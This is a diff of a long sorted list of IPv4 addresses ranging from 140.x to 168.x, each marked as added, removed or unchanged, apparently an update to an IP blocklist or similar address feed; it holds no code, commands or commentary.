140.143.171.80 -140.150.224.10 -140.174.170.25 -140.190.1.246 +140.228.21.43 +140.238.177.83 140.238.182.238 140.238.190.142 +140.246.97.188 +140.86.39.162 140.99.157.162 -140.99.159.196 +140.99.209.229 140.99.217.43 140.99.234.34 140.99.4.7 -141.105.36.146 -141.136.47.165 -141.145.194.107 +141.147.173.78 141.147.47.32 -141.148.159.69 141.148.84.47 -141.157.14.149 -141.170.214.44 -141.94.17.140 -141.94.254.138 +141.255.162.218 +141.94.106.15 +141.94.143.46 +141.95.32.122 141.95.40.67 141.98.10.150 -141.98.101.133 +141.98.102.243 +141.98.11.108 141.98.11.11 +141.98.11.54 141.98.11.60 141.98.11.73 -141.98.24.24 +141.98.24.220 141.98.6.80 141.98.6.94 -142.4.1.183 -142.4.22.16 -142.4.24.200 -142.44.210.28 -142.44.215.54 +142.129.112.169 +142.166.127.59 +142.197.225.209 +142.215.160.22 +142.4.207.244 142.44.241.173 +142.44.247.73 142.93.112.39 -142.93.115.32 142.93.115.5 142.93.129.80 142.93.14.104 +142.93.143.112 142.93.153.3 -142.93.187.197 +142.93.158.96 +142.93.163.183 +142.93.18.15 142.93.194.227 142.93.201.51 142.93.201.88 -142.93.209.170 +142.93.210.193 +142.93.213.92 142.93.215.255 142.93.216.174 -142.93.216.65 -142.93.219.133 -142.93.226.169 +142.93.220.110 142.93.229.134 -142.93.50.8 -142.93.52.241 +142.93.241.93 +142.93.31.18 +142.93.47.95 +142.93.50.99 142.93.58.181 -142.93.64.15 +142.93.62.53 142.93.7.198 -142.93.78.223 143.110.146.234 +143.110.156.182 143.110.159.114 -143.110.159.86 -143.110.174.217 143.110.176.216 +143.110.182.33 143.110.218.229 -143.110.218.98 -143.110.219.172 +143.110.220.40 143.110.227.81 -143.110.236.60 +143.110.232.31 143.110.241.56 -143.110.246.83 -143.110.248.85 +143.110.243.154 +143.110.245.66 +143.110.248.139 143.110.248.86 +143.198.105.73 +143.198.115.4 143.198.117.165 +143.198.126.248 +143.198.140.188 143.198.146.239 143.198.146.93 143.198.147.146 143.198.150.226 +143.198.150.51 143.198.154.97 +143.198.155.231 143.198.166.138 143.198.171.37 143.198.180.130 -143.198.191.39 -143.198.192.19 143.198.193.104 -143.198.196.95 -143.198.204.19 -143.198.217.171 -143.198.218.16 +143.198.194.242 +143.198.197.182 +143.198.200.155 +143.198.203.21 143.198.222.239 -143.198.236.21 +143.198.234.238 +143.198.237.171 143.198.24.3 -143.198.45.56 -143.198.49.250 +143.198.43.241 +143.198.46.47 143.198.53.72 -143.198.66.0 -143.198.72.96 +143.198.67.224 +143.198.69.230 143.198.8.62 -143.198.84.156 -143.198.90.201 -143.198.98.252 -143.198.99.235 -143.202.209.61 +143.198.89.109 143.244.134.243 143.244.140.236 143.244.144.227 -143.244.161.152 143.244.162.174 -143.244.172.59 143.244.180.103 143.244.181.123 -143.244.182.229 -143.244.50.173 -143.255.53.4 +143.244.189.54 +143.244.190.237 143.255.54.218 -143.42.1.201 -143.42.1.34 +143.42.0.20 +143.42.0.97 +143.42.1.185 +143.42.1.189 +143.42.1.191 +143.42.1.213 +143.42.1.53 +143.42.1.71 143.42.118.5 +143.42.16.39 143.42.16.81 +143.42.164.127 143.42.164.34 143.42.173.101 -143.42.227.140 -143.42.53.138 -143.42.53.31 -143.42.63.253 -143.90.109.165 -144.123.151.50 -144.123.41.162 -144.126.131.216 +143.42.173.60 +143.42.53.176 +143.42.63.60 +143.47.51.98 +143.92.42.54 +144.123.180.125 144.126.192.113 144.126.198.24 -144.126.201.42 144.126.202.105 144.126.204.43 -144.126.210.158 -144.126.217.16 +144.126.210.70 144.126.224.108 144.126.224.39 -144.126.238.239 -144.16.112.36 +144.129.87.210 +144.172.73.16 +144.217.16.48 +144.217.180.167 144.217.195.24 -144.217.65.45 +144.217.248.43 +144.217.84.62 144.217.87.192 144.22.215.0 144.22.231.248 144.22.236.165 144.24.105.158 +144.24.154.203 144.24.170.79 -144.34.162.4 +144.24.197.112 +144.255.68.64 +144.34.133.122 144.34.171.163 +144.34.177.244 144.34.177.92 144.34.212.207 -144.48.49.72 -144.48.74.249 +144.48.170.194 +144.76.74.227 144.91.104.177 144.91.112.8 144.91.120.67 144.91.127.21 144.91.69.13 +144.91.78.188 144.91.88.120 +145.14.156.144 145.239.198.34 +146.148.67.133 +146.158.106.249 146.185.159.124 +146.19.168.190 146.19.191.108 -146.190.105.48 146.190.105.8 +146.190.119.114 146.190.119.189 146.190.121.89 -146.190.147.220 +146.190.132.1 146.190.152.5 +146.190.154.234 +146.190.160.11 146.190.162.83 -146.190.208.223 -146.190.212.236 -146.190.217.229 +146.190.166.168 +146.190.219.71 146.190.222.176 146.190.228.94 146.190.230.95 +146.190.242.116 +146.190.38.28 +146.190.41.214 146.190.54.164 +146.190.57.24 146.190.64.200 -146.190.65.27 146.190.71.232 +146.190.87.184 146.190.87.246 +146.190.92.6 +146.190.96.229 146.190.97.183 -146.196.121.62 +146.190.98.93 146.196.65.139 -146.56.151.124 146.56.158.134 +146.56.162.101 146.59.127.25 -146.59.178.97 146.59.228.111 -146.59.250.225 146.59.83.19 146.70.117.122 146.70.124.179 146.70.184.231 -146.88.234.47 -146.88.241.108 -146.88.241.128 -146.88.241.198 -146.88.241.58 -146.88.241.68 -146.88.241.78 -147.0.250.10 +146.70.192.172 +146.70.41.208 +146.70.94.3 +147.135.137.204 +147.135.211.208 147.135.4.9 -147.139.138.154 -147.139.191.123 -147.139.41.53 +147.139.209.176 +147.139.210.103 +147.139.73.255 147.182.130.98 147.182.145.89 +147.182.154.58 147.182.160.30 147.182.168.210 147.182.171.152 147.182.179.237 147.182.179.97 -147.182.188.81 147.182.194.121 -147.182.211.205 147.182.218.64 147.182.221.40 147.182.224.240 147.182.225.225 -147.182.228.52 -147.182.242.21 147.182.245.184 147.182.245.3 -147.189.145.39 +147.182.254.237 +147.189.147.110 +147.203.255.20 +147.235.215.146 147.30.81.75 -147.78.103.113 -147.78.103.136 147.78.103.137 -147.78.103.182 -147.78.103.204 -147.78.103.243 -147.78.103.53 -147.78.103.87 -147.78.103.98 -147.78.47.10 +147.78.103.144 +147.78.103.164 +147.78.103.190 +147.78.103.228 +147.78.103.249 +147.78.103.33 +147.78.103.93 +147.78.47.223 147.78.47.227 147.78.47.249 147.78.47.250 -148.101.83.40 +148.113.13.20 +148.113.15.47 148.113.6.177 148.153.110.76 -148.244.170.211 -148.59.251.168 -148.66.145.171 +148.218.65.21 +148.63.39.153 +148.66.132.190 +148.70.157.154 148.71.154.69 -148.72.207.163 -148.72.209.73 -148.72.211.177 -148.72.245.234 -148.72.247.54 -149.126.21.146 -149.129.129.119 -149.129.241.221 -149.129.50.37 -149.129.51.193 -149.202.79.129 -149.34.244.242 +148.72.209.121 +148.72.214.194 +149.102.136.249 +149.129.232.221 +149.129.239.236 +149.129.251.229 +149.202.79.101 149.5.172.117 149.5.172.120 -149.62.233.18 -149.78.186.30 -15.152.54.114 +149.5.174.138 +149.56.203.1 +149.78.185.200 15.204.204.153 +15.204.9.174 15.206.163.194 +15.235.197.87 150.109.205.234 -150.109.255.216 -150.109.5.46 +150.117.218.51 +150.117.239.175 150.129.105.120 -150.136.143.186 +150.129.108.154 150.136.242.192 150.136.32.211 -150.138.117.4 150.138.78.166 +150.158.193.54 150.158.40.91 -150.158.93.223 150.165.77.215 +150.185.252.222 150.230.235.117 -150.230.250.229 +150.230.27.122 150.230.59.27 -150.230.93.233 150.242.140.105 -150.95.91.227 151.0.165.235 +151.0.27.165 151.106.112.32 -151.106.113.60 -151.106.125.165 151.106.125.193 +151.106.125.253 +151.106.34.161 151.106.35.1 151.106.35.184 151.106.38.219 151.106.41.111 -151.106.42.50 -151.115.74.117 -151.177.1.232 -151.233.32.98 -151.237.82.206 151.252.197.3 151.253.124.222 151.69.161.84 -151.80.91.213 151.80.91.215 151.80.91.221 -151.80.91.223 -152.136.123.36 -152.136.235.236 -152.136.51.117 +152.136.194.70 152.168.201.83 -152.200.151.149 152.200.181.42 152.228.162.85 152.228.164.249 -152.228.171.144 152.250.234.164 152.32.131.195 -152.32.132.233 152.32.139.8 -152.32.141.130 +152.32.140.200 +152.32.141.202 152.32.141.206 152.32.141.84 152.32.143.105 +152.32.144.44 152.32.147.115 152.32.148.123 -152.32.149.235 -152.32.150.152 +152.32.149.245 152.32.151.71 -152.32.159.65 +152.32.157.167 152.32.159.77 152.32.164.156 -152.32.164.23 +152.32.165.114 +152.32.167.43 +152.32.168.136 152.32.169.104 +152.32.170.110 +152.32.171.15 +152.32.172.153 152.32.174.199 -152.32.174.92 -152.32.180.93 -152.32.181.13 +152.32.178.8 +152.32.181.45 152.32.183.86 152.32.186.106 152.32.187.174 +152.32.187.191 152.32.190.176 -152.32.191.185 +152.32.192.222 +152.32.200.193 +152.32.200.79 +152.32.205.73 152.32.206.73 152.32.207.115 +152.32.207.130 152.32.207.133 152.32.207.174 152.32.208.142 -152.32.208.150 152.32.208.215 +152.32.210.125 +152.32.210.168 152.32.212.29 152.32.213.224 -152.32.214.240 152.32.214.69 152.32.215.190 152.32.215.5 152.32.217.133 -152.32.220.18 +152.32.225.245 152.32.226.125 152.32.227.52 -152.32.231.235 -152.32.233.110 +152.32.228.20 +152.32.233.16 152.32.233.236 152.32.234.128 -152.32.234.33 -152.32.236.73 +152.32.234.183 +152.32.236.101 +152.32.237.24 152.32.240.210 -152.32.242.11 +152.32.242.73 152.32.245.214 -152.32.245.216 152.32.253.58 -152.69.162.253 152.70.113.55 152.70.217.117 -152.86.64.193 +152.70.86.6 +152.89.198.113 +152.89.198.15 152.89.198.196 -153.101.193.152 -153.101.41.226 -153.121.36.96 +152.89.44.184 +153.0.155.5 +153.101.196.37 +153.101.196.38 +153.101.232.107 153.125.69.143 -153.126.175.72 -153.238.138.136 -153.3.29.189 +153.19.169.191 153.34.82.87 -153.92.210.106 -153.92.210.159 +153.37.177.219 153.92.221.220 -153.92.5.229 -154.12.37.17 +153.92.74.228 +154.116.13.24 +154.120.246.26 +154.127.163.140 154.127.86.66 +154.16.49.54 154.202.56.196 +154.205.22.94 154.208.9.176 +154.209.125.124 154.209.4.95 -154.26.135.46 -154.40.52.44 -154.41.229.247 -154.41.251.212 -154.49.137.161 +154.221.25.18 +154.221.27.121 154.56.137.25 -154.62.108.243 154.62.109.71 +154.66.220.45 154.68.18.82 154.68.39.6 -154.72.194.207 +154.72.50.105 154.73.25.116 +154.73.53.193 154.74.133.74 +154.81.220.137 154.83.12.80 -154.88.30.29 154.88.6.222 -154.91.138.170 -154.92.19.213 -155.133.130.25 +154.91.83.239 +155.254.193.48 155.94.196.225 156.0.130.229 156.224.22.172 156.224.22.211 -156.232.10.4 +156.224.22.91 +156.230.245.74 +156.232.10.176 +156.234.191.140 156.236.64.227 156.236.71.192 156.236.72.238 -156.251.130.170 156.251.17.159 -156.54.40.52 -156.67.216.15 -156.67.221.169 -157.122.183.220 -157.122.198.35 -157.122.198.36 -157.230.113.181 -157.230.120.136 -157.230.133.15 -157.230.144.211 +156.251.176.170 +156.67.208.155 +156.67.76.17 +156.96.114.70 +156.96.60.55 +157.119.79.154 +157.122.247.186 +157.230.1.224 +157.230.125.144 +157.230.17.29 157.230.178.127 157.230.185.9 157.230.20.248 -157.230.209.3 +157.230.208.92 +157.230.211.191 157.230.216.10 -157.230.221.51 -157.230.23.46 +157.230.22.170 +157.230.228.237 157.230.233.140 157.230.236.196 157.230.236.83 157.230.253.244 157.230.254.228 +157.230.28.142 157.230.41.201 -157.230.42.191 +157.230.45.177 157.230.49.63 -157.230.50.190 -157.230.52.208 +157.230.50.207 157.230.6.213 -157.230.6.216 -157.230.62.157 -157.230.83.80 +157.230.84.180 157.230.91.199 -157.230.99.12 +157.230.91.241 157.245.101.119 -157.245.109.198 +157.245.104.196 157.245.109.35 -157.245.113.241 +157.245.12.46 +157.245.121.11 +157.245.121.29 +157.245.129.95 157.245.147.26 -157.245.154.129 +157.245.154.124 157.245.158.39 +157.245.196.35 157.245.203.8 -157.245.204.50 +157.245.206.155 157.245.216.197 -157.245.248.106 -157.245.40.222 157.245.49.201 157.245.59.109 157.245.69.32 +157.245.69.67 157.245.78.166 157.245.96.171 157.245.98.245 157.255.28.157 157.7.114.193 157.7.200.128 +157.7.205.164 157.7.207.25 -157.7.78.54 -157.7.87.10 158.101.213.149 -158.140.185.59 -158.160.101.95 -158.160.104.38 -158.160.105.43 -158.160.107.106 -158.160.110.42 +158.101.23.56 +158.101.26.231 158.160.17.133 158.160.2.235 -158.160.34.1 +158.160.24.212 158.160.38.134 +158.160.42.227 158.160.48.91 158.160.59.87 158.160.6.234 158.160.60.216 158.174.125.19 -158.181.25.68 -158.255.7.157 -158.51.121.10 +158.180.79.103 +158.51.121.133 158.58.186.126 158.69.111.17 -158.69.124.84 -158.69.80.160 158.69.80.165 158.69.92.169 +159.100.13.152 +159.118.74.154 159.192.122.25 +159.192.140.191 159.192.143.249 159.192.3.67 159.196.170.30 159.203.102.122 +159.203.11.247 159.203.113.193 159.203.128.174 -159.203.130.78 +159.203.129.103 159.203.165.156 -159.203.170.123 +159.203.170.197 159.203.170.22 -159.203.172.105 159.203.179.230 +159.203.181.214 159.203.182.222 159.203.186.114 -159.203.192.10 -159.203.192.14 -159.203.192.16 +159.203.192.11 159.203.192.17 -159.203.192.18 -159.203.192.41 -159.203.208.12 -159.203.208.15 +159.203.192.33 +159.203.192.45 +159.203.192.46 159.203.208.18 -159.203.208.30 -159.203.208.36 -159.203.224.31 -159.203.224.35 -159.203.224.38 -159.203.224.9 +159.203.224.19 +159.203.224.33 +159.203.224.36 159.203.240.10 -159.203.240.5 -159.203.42.15 -159.203.44.43 -159.203.63.67 -159.203.65.34 +159.203.44.105 159.203.72.14 159.203.81.114 -159.203.84.97 159.203.85.196 +159.203.91.246 159.203.94.228 -159.223.102.13 159.223.102.145 159.223.107.179 -159.223.108.26 -159.223.114.225 -159.223.117.20 159.223.12.224 -159.223.120.180 159.223.125.135 -159.223.130.202 +159.223.129.59 +159.223.135.216 159.223.136.180 -159.223.157.255 -159.223.18.139 -159.223.189.221 +159.223.138.32 +159.223.140.32 +159.223.154.6 159.223.200.138 +159.223.201.81 159.223.21.148 -159.223.217.87 -159.223.32.246 -159.223.45.100 -159.223.49.144 -159.223.50.201 +159.223.4.195 159.223.50.39 +159.223.57.252 +159.223.57.67 159.223.59.81 -159.223.68.191 +159.223.69.158 159.223.71.99 159.223.82.118 -159.223.86.114 +159.223.86.231 159.223.9.242 +159.223.92.245 159.65.117.174 159.65.118.51 159.65.12.109 -159.65.12.30 159.65.120.34 -159.65.124.66 +159.65.123.176 +159.65.127.239 159.65.128.16 159.65.129.227 159.65.130.142 +159.65.130.187 159.65.132.116 +159.65.133.176 +159.65.133.50 159.65.133.84 159.65.134.171 159.65.136.44 159.65.137.180 -159.65.138.217 159.65.144.167 +159.65.144.20 159.65.145.76 159.65.15.22 -159.65.150.25 +159.65.150.108 +159.65.151.241 159.65.153.241 159.65.154.92 159.65.155.154 -159.65.17.177 159.65.193.236 +159.65.194.58 159.65.2.158 159.65.206.41 -159.65.227.87 +159.65.207.182 159.65.231.164 159.65.235.114 159.65.238.250 +159.65.240.232 159.65.249.79 159.65.34.202 -159.65.41.104 159.65.53.91 159.65.55.28 +159.65.58.104 159.65.59.197 159.65.6.201 +159.65.64.70 +159.65.64.76 159.65.65.75 159.65.82.249 -159.65.84.193 +159.65.83.155 +159.65.84.119 159.65.91.105 -159.75.182.71 -159.89.100.71 -159.89.109.248 159.89.113.122 -159.89.121.165 -159.89.131.172 +159.89.153.54 159.89.161.186 -159.89.163.158 -159.89.171.217 -159.89.172.158 -159.89.195.23 -159.89.199.244 +159.89.165.164 +159.89.171.28 159.89.205.52 159.89.232.114 -159.89.34.114 +159.89.236.160 159.89.40.119 159.89.47.106 -159.89.82.18 -159.89.83.196 -159.89.87.91 -160.120.247.113 -160.153.155.32 +159.89.92.122 +159.89.95.98 +160.124.103.55 +160.153.155.194 160.153.252.142 160.154.0.242 160.154.0.244 160.154.94.42 160.238.36.79 -160.251.121.83 160.251.171.67 +160.251.5.64 160.251.55.50 161.132.105.250 +161.132.122.195 +161.132.183.24 161.132.214.236 161.132.219.115 -161.18.228.75 -161.35.108.241 +161.132.37.58 +161.18.32.43 +161.35.1.238 161.35.119.216 -161.35.125.167 -161.35.129.1 161.35.155.246 -161.35.16.112 -161.35.16.90 -161.35.176.95 +161.35.157.58 +161.35.177.39 +161.35.190.246 161.35.190.56 -161.35.194.172 +161.35.199.80 +161.35.2.247 +161.35.204.228 161.35.21.48 -161.35.211.137 -161.35.22.109 -161.35.230.183 +161.35.23.230 +161.35.230.3 161.35.236.158 -161.35.238.241 161.35.27.144 161.35.50.20 -161.35.52.207 +161.35.51.101 +161.35.51.29 161.35.59.177 -161.35.75.223 161.35.76.93 161.35.79.157 161.35.79.199 161.82.233.179 161.82.233.183 -161.97.130.63 161.97.157.51 161.97.158.142 -161.97.173.1 161.97.74.246 -162.0.229.183 -162.14.97.205 -162.144.146.197 -162.17.98.109 -162.19.170.45 +162.0.211.141 +162.0.223.76 +162.155.222.42 +162.186.17.147 +162.19.170.56 162.19.198.17 162.212.158.214 -162.214.54.240 -162.215.214.86 +162.214.147.146 +162.214.55.69 162.216.149.10 -162.216.149.102 -162.216.149.106 -162.216.149.111 -162.216.149.112 +162.216.149.105 +162.216.149.114 162.216.149.115 -162.216.149.117 -162.216.149.119 -162.216.149.12 -162.216.149.122 -162.216.149.125 -162.216.149.130 -162.216.149.133 -162.216.149.135 -162.216.149.139 -162.216.149.14 -162.216.149.140 -162.216.149.141 -162.216.149.147 -162.216.149.148 +162.216.149.118 +162.216.149.123 +162.216.149.126 +162.216.149.137 +162.216.149.145 +162.216.149.146 162.216.149.154 -162.216.149.158 -162.216.149.162 -162.216.149.173 -162.216.149.178 -162.216.149.181 -162.216.149.186 +162.216.149.167 +162.216.149.180 +162.216.149.187 162.216.149.189 -162.216.149.190 +162.216.149.193 +162.216.149.202 162.216.149.203 -162.216.149.204 -162.216.149.210 -162.216.149.220 -162.216.149.23 -162.216.149.231 -162.216.149.235 -162.216.149.238 -162.216.149.239 -162.216.149.244 -162.216.149.245 -162.216.149.248 -162.216.149.28 +162.216.149.207 +162.216.149.209 +162.216.149.214 +162.216.149.219 +162.216.149.230 +162.216.149.234 +162.216.149.3 +162.216.149.30 162.216.149.32 -162.216.149.33 -162.216.149.45 -162.216.149.49 +162.216.149.37 +162.216.149.47 +162.216.149.51 +162.216.149.54 162.216.149.55 -162.216.149.57 -162.216.149.64 +162.216.149.56 +162.216.149.6 +162.216.149.63 +162.216.149.67 +162.216.149.68 162.216.149.7 -162.216.149.70 -162.216.149.76 -162.216.149.81 -162.216.149.92 -162.216.150.103 +162.216.149.79 +162.216.149.83 +162.216.149.84 +162.216.149.85 +162.216.149.87 +162.216.149.90 +162.216.149.95 +162.216.150.10 +162.216.150.100 +162.216.150.101 +162.216.150.102 162.216.150.108 -162.216.150.111 -162.216.150.122 -162.216.150.126 -162.216.150.129 -162.216.150.144 +162.216.150.115 +162.216.150.127 +162.216.150.134 +162.216.150.147 +162.216.150.148 +162.216.150.15 162.216.150.151 -162.216.150.154 -162.216.150.156 -162.216.150.160 -162.216.150.164 +162.216.150.163 +162.216.150.167 +162.216.150.171 162.216.150.173 162.216.150.174 -162.216.150.175 -162.216.150.178 +162.216.150.182 +162.216.150.183 162.216.150.184 +162.216.150.186 +162.216.150.188 162.216.150.191 -162.216.150.195 -162.216.150.204 -162.216.150.206 +162.216.150.194 +162.216.150.199 +162.216.150.207 +162.216.150.208 162.216.150.21 -162.216.150.211 -162.216.150.222 +162.216.150.210 +162.216.150.221 162.216.150.226 -162.216.150.23 -162.216.150.230 -162.216.150.239 -162.216.150.24 -162.216.150.241 -162.216.150.242 -162.216.150.251 -162.216.150.26 +162.216.150.235 +162.216.150.237 +162.216.150.238 +162.216.150.245 +162.216.150.249 +162.216.150.25 +162.216.150.3 162.216.150.30 -162.216.150.33 -162.216.150.34 -162.216.150.35 -162.216.150.37 -162.216.150.39 -162.216.150.40 -162.216.150.5 -162.216.150.56 -162.216.150.6 -162.216.150.66 -162.216.150.67 -162.216.150.73 +162.216.150.4 +162.216.150.47 +162.216.150.61 +162.216.150.7 +162.216.150.81 +162.216.150.82 +162.216.150.86 +162.216.150.87 162.216.150.88 -162.216.150.9 -162.216.150.99 -162.221.192.58 -162.221.192.59 -162.221.192.60 +162.216.150.92 +162.216.150.93 +162.216.150.94 +162.216.18.113 +162.221.192.28 162.221.192.61 -162.221.192.62 162.240.211.231 +162.240.239.190 162.240.51.185 -162.241.114.39 +162.241.114.56 +162.241.114.75 162.241.124.124 -162.241.126.176 +162.241.126.244 162.241.141.162 -162.241.174.216 -162.241.201.224 162.241.211.155 -162.241.70.19 -162.241.71.115 162.241.71.211 162.241.87.50 -162.243.128.11 -162.243.128.30 +162.243.116.41 +162.243.128.42 162.243.128.43 -162.243.128.6 -162.243.129.10 -162.243.129.11 -162.243.129.30 -162.243.130.10 -162.243.130.37 -162.243.131.16 -162.243.131.30 -162.243.131.34 +162.243.128.49 +162.243.129.13 +162.243.129.37 +162.243.129.39 +162.243.129.7 +162.243.130.25 +162.243.132.15 162.243.132.16 -162.243.132.32 -162.243.132.34 -162.243.132.52 -162.243.134.64 -162.243.135.15 -162.243.135.22 +162.243.132.33 +162.243.133.43 +162.243.133.48 +162.243.134.28 +162.243.134.31 +162.243.134.9 +162.243.135.24 +162.243.135.38 +162.243.136.41 +162.243.136.52 162.243.136.58 +162.243.136.68 +162.243.136.71 +162.243.136.75 162.243.137.10 -162.243.137.18 -162.243.137.4 +162.243.137.14 +162.243.137.16 +162.243.137.17 +162.243.137.35 +162.243.137.5 162.243.138.11 -162.243.138.59 -162.243.138.9 -162.243.140.14 -162.243.140.21 -162.243.140.52 -162.243.141.18 -162.243.141.30 -162.243.142.52 -162.243.143.11 -162.243.143.14 -162.243.143.24 -162.243.144.10 +162.243.138.16 +162.243.138.49 +162.243.138.62 +162.243.139.10 +162.243.139.35 +162.243.139.43 +162.243.139.9 +162.243.141.15 +162.243.141.19 +162.243.141.41 +162.243.142.17 +162.243.143.12 +162.243.143.48 +162.243.143.50 +162.243.143.57 162.243.144.12 -162.243.144.9 +162.243.144.4 +162.243.145.15 162.243.145.22 -162.243.145.40 162.243.145.44 162.243.145.45 -162.243.147.16 +162.243.146.49 +162.243.146.62 +162.243.146.70 162.243.147.17 -162.243.147.18 -162.243.147.34 -162.243.147.4 -162.243.147.5 -162.243.148.20 +162.243.148.8 162.243.149.12 +162.243.149.18 +162.243.149.26 +162.243.149.30 162.243.150.12 -162.243.150.38 -162.243.150.8 +162.243.150.44 +162.243.150.45 +162.243.150.6 +162.243.150.9 +162.243.151.37 +162.243.151.6 162.243.152.20 -162.243.152.25 -162.243.161.105 +162.243.152.4 +162.243.175.43 162.243.184.251 162.243.186.177 -162.243.187.162 162.243.228.106 162.243.34.111 -162.243.48.133 162.243.61.162 162.244.78.27 -162.246.23.7 -162.251.5.152 +162.247.74.204 +162.253.187.114 162.62.54.151 -163.123.141.197 163.123.143.10 163.123.143.252 -163.123.181.143 -163.139.169.79 163.172.101.166 163.172.147.100 -163.197.217.16 +163.172.175.22 +163.172.211.53 +163.197.213.23 163.197.218.159 +163.30.39.140 163.47.36.34 +163.5.129.99 163.5.194.135 +163.53.206.147 +163.53.206.233 164.132.222.4 164.132.51.188 -164.152.21.67 -164.160.4.27 +164.132.84.209 164.163.200.12 164.163.23.19 -164.163.25.142 -164.163.98.49 -164.164.112.10 +164.163.25.149 +164.163.25.255 164.177.31.66 164.52.0.93 +164.52.36.214 164.58.210.186 164.68.106.102 -164.68.117.115 -164.68.127.115 -164.77.117.10 +164.68.125.108 +164.77.119.34 164.88.198.52 +164.88.198.91 164.90.140.95 -164.90.154.67 164.90.170.31 -164.90.172.83 -164.90.186.77 -164.90.190.247 164.90.191.216 +164.90.202.89 164.90.205.35 +164.90.210.8 +164.90.217.23 164.90.222.93 164.90.224.134 -164.90.229.196 -164.90.239.158 -164.92.110.182 -164.92.116.194 +164.90.233.55 +164.92.117.229 164.92.118.96 +164.92.128.171 164.92.130.82 -164.92.139.226 164.92.142.240 -164.92.157.100 164.92.159.65 -164.92.161.202 -164.92.167.231 +164.92.170.149 164.92.177.69 +164.92.180.225 164.92.192.25 164.92.193.23 +164.92.196.69 +164.92.217.229 164.92.225.82 164.92.232.89 164.92.235.79 -164.92.253.189 +164.92.71.12 +164.92.80.209 164.92.80.220 164.92.82.21 164.92.84.255 164.92.93.179 -164.92.94.124 -165.1.79.194 +165.154.10.196 165.154.113.115 165.154.113.33 165.154.118.188 165.154.119.11 165.154.119.123 -165.154.119.15 165.154.119.165 +165.154.119.220 +165.154.119.253 165.154.119.27 +165.154.119.37 165.154.119.44 -165.154.119.50 165.154.119.8 165.154.121.59 165.154.128.127 165.154.128.213 +165.154.128.218 165.154.128.221 165.154.128.222 -165.154.130.34 -165.154.132.35 -165.154.133.204 -165.154.133.81 -165.154.134.16 +165.154.128.227 165.154.134.177 165.154.134.187 -165.154.134.201 +165.154.134.195 165.154.134.205 165.154.134.208 165.154.145.233 -165.154.147.72 165.154.161.156 -165.154.17.159 +165.154.183.140 +165.154.183.23 165.154.225.154 165.154.233.178 +165.154.233.79 165.154.242.141 165.154.242.168 165.154.253.219 165.154.253.81 +165.154.32.166 165.154.36.152 165.154.36.182 165.154.36.240 165.154.36.4 165.154.36.72 165.154.36.96 +165.154.42.45 +165.154.43.143 +165.154.44.58 165.154.51.236 -165.154.57.181 +165.154.57.202 165.154.57.237 -165.154.59.22 165.154.8.112 +165.154.92.123 165.16.44.5 165.22.1.57 165.22.1.73 +165.22.10.179 165.22.101.24 165.22.101.75 165.22.102.124 -165.22.102.161 +165.22.106.178 165.22.108.223 -165.22.109.216 +165.22.111.102 165.22.120.187 165.22.120.216 165.22.16.134 -165.22.186.140 +165.22.184.99 165.22.186.45 -165.22.187.91 -165.22.192.132 +165.22.20.10 165.22.210.239 165.22.218.42 -165.22.220.65 -165.22.223.72 +165.22.221.230 165.22.23.152 -165.22.234.248 -165.22.235.202 -165.22.235.224 -165.22.242.64 +165.22.240.159 +165.22.245.74 165.22.249.151 165.22.249.192 -165.22.29.187 165.22.3.107 -165.22.32.212 -165.22.49.184 -165.22.51.113 -165.22.57.68 165.22.60.26 -165.22.62.203 -165.22.62.225 -165.22.74.203 165.22.76.161 165.22.88.23 -165.22.97.194 165.22.98.248 -165.227.106.20 -165.227.118.71 +165.227.101.226 165.227.119.21 +165.227.123.61 165.227.127.120 -165.227.16.153 -165.227.161.170 +165.227.131.122 165.227.166.247 165.227.167.225 -165.227.194.124 -165.227.2.221 +165.227.2.252 +165.227.206.226 165.227.228.212 165.227.228.72 -165.227.228.99 +165.227.44.143 165.227.47.218 -165.227.66.238 165.227.68.123 -165.227.68.95 -165.227.84.172 -165.227.85.21 -165.227.85.226 +165.227.9.145 165.227.90.242 -165.227.95.251 -165.232.110.233 -165.232.126.210 -165.232.158.187 -165.232.161.144 -165.232.162.126 +165.232.140.100 165.232.162.246 -165.232.166.37 -165.232.182.178 -165.232.33.121 +165.232.164.156 +165.232.176.191 165.232.73.237 -165.232.76.155 165.232.76.5 -165.232.97.15 -166.152.85.4 -166.164.5.153 -166.249.154.61 -166.250.249.184 +166.0.58.251 +166.148.0.56 +166.165.75.170 +167.114.62.196 167.114.96.243 -167.172.110.146 -167.172.112.115 -167.172.145.167 +167.114.98.78 +167.172.141.49 +167.172.142.20 +167.172.148.173 167.172.150.205 167.172.155.231 167.172.159.73 167.172.170.214 167.172.185.85 -167.172.190.187 -167.172.194.232 167.172.20.95 -167.172.229.180 167.172.232.142 -167.172.240.54 -167.172.248.254 -167.172.250.11 +167.172.244.227 167.172.40.230 167.172.40.35 -167.172.54.39 -167.172.63.201 +167.172.66.227 167.172.81.150 -167.172.82.117 -167.172.82.31 167.172.85.160 -167.172.93.240 -167.249.169.109 -167.71.10.51 +167.172.88.71 +167.172.89.248 +167.172.98.198 +167.249.13.235 +167.71.117.214 +167.71.120.146 167.71.136.141 -167.71.151.22 -167.71.159.65 -167.71.160.75 -167.71.185.75 -167.71.186.70 -167.71.196.217 +167.71.16.200 167.71.196.228 -167.71.197.179 +167.71.202.121 167.71.205.80 -167.71.208.195 167.71.210.166 167.71.220.171 +167.71.226.185 167.71.227.30 -167.71.227.91 -167.71.228.234 +167.71.229.198 167.71.234.134 167.71.236.26 -167.71.238.89 -167.71.244.223 -167.71.33.174 +167.71.243.218 +167.71.245.2 167.71.34.48 +167.71.38.185 +167.71.41.142 167.71.43.190 167.71.48.191 167.71.54.162 -167.71.54.51 -167.71.56.110 +167.71.54.30 167.71.68.224 167.71.70.212 167.71.74.3 +167.71.77.9 167.71.99.157 -167.99.114.108 -167.99.123.23 -167.99.127.45 +167.86.94.107 +167.88.186.124 +167.99.1.98 +167.99.10.176 +167.99.107.57 +167.99.119.160 167.99.134.76 -167.99.141.170 +167.99.137.148 167.99.145.185 -167.99.151.64 167.99.161.142 167.99.173.171 -167.99.176.62 167.99.177.104 -167.99.177.155 -167.99.177.32 167.99.182.39 -167.99.203.213 +167.99.184.41 +167.99.185.114 +167.99.195.15 167.99.227.81 -167.99.234.112 -167.99.234.160 -167.99.236.219 167.99.243.12 167.99.5.226 -167.99.66.16 -167.99.66.230 167.99.67.45 167.99.70.85 167.99.71.79 167.99.78.124 -167.99.8.63 +167.99.79.57 +167.99.84.28 +167.99.87.226 +167.99.89.165 168.121.105.170 -168.138.132.222 -168.138.132.67 +168.121.61.41 +168.126.90.210 168.138.136.54 +168.138.141.238 +168.138.152.188 168.138.40.1 